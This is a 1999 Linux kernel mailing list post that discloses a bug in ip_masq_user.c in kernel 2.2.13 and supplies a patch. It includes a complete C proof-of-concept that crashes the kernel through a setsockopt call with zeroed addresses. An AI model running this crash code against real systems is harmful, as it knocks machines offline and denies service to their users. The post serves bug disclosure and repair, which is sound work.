[patch] bug in ip_masq_user.c

andrew deryabin (djsf@sdf.lonestar.org)
Sat, 4 Dec 1999 20:50:57 +0300


It's possible to crash the kernel by calling ip_masq_user_del with
both maddr and saddr set to zero. This code crashes 2.2.13:

/* crash 2.2.13 kernel exploiting a bug in ip_masq_user.c (c)djsf */

#include <stdio.h>
#include <linux/types.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/ip_udp.h>
#include <netinet/ip_icmp.h>
#include <linux/ip_fw.h>
#include <linux/ip_masq.h>

int main()
{
int sock;
struct ip_masq_ctl mctl;

memset (&mctl, 0, sizeof (mctl));
mctl.m_target = IP_MASQ_TARGET_USER; mctl.m_cmd = IP_MASQ_CMD_DEL;
mctl.u.user.protocol = IPPROTO_UDP;
if ((sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {
perror ("socket"); exit (1);
}
if (setsockopt (sock, IPPROTO_IP, IP_FW_MASQ_CTL, &mctl, sizeof (mctl)))
perror ("kab00m failed :) ");
exit (0);
}

This is a fix:

--- linux-2.2.13/net/ipv4/ip_masq_user.c.ORiG Wed Nov 17 05:07:15 1999
+++ linux-2.2.13/net/ipv4/ip_masq_user.c Thu Nov 25 16:53:06 1999
@@ -186,8 +186,10 @@
ums->saddr, ums->sport,
ums->daddr, ums->dport);
end_bh_atomic();
- } else
- return EINVAL;
+ } else {
+ end_bh_atomic();
+ return EINVAL;
+ }

if (ms == NULL) {
return ESRCH;
@@ -214,18 +216,17 @@
}

start_bh_atomic();
- if (ums->mport && ums->maddr) {
+ if (ums->mport && ums->maddr)
ms = ip_masq_in_get(ums->protocol,
ums->daddr, ums->dport,
ums->maddr, ums->mport);
- end_bh_atomic();
- } else if (ums->sport && ums->saddr) {
- ms = ip_masq_out_get(ums->protocol,
+ else if (ums->sport && ums->saddr)
+ ms = ip_masq_out_get(ums->protocol,
ums->saddr, ums->sport,
ums->daddr, ums->dport);
- end_bh_atomic();
- } else
- *err = EINVAL;
+ else
+ *err = EINVAL;
+ end_bh_atomic();

if (ms == NULL) *err = ESRCH;
return ms;

-- 
cu,djsf

- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.rutgers.edu Please read the FAQ at http://www.tux.org/lkml/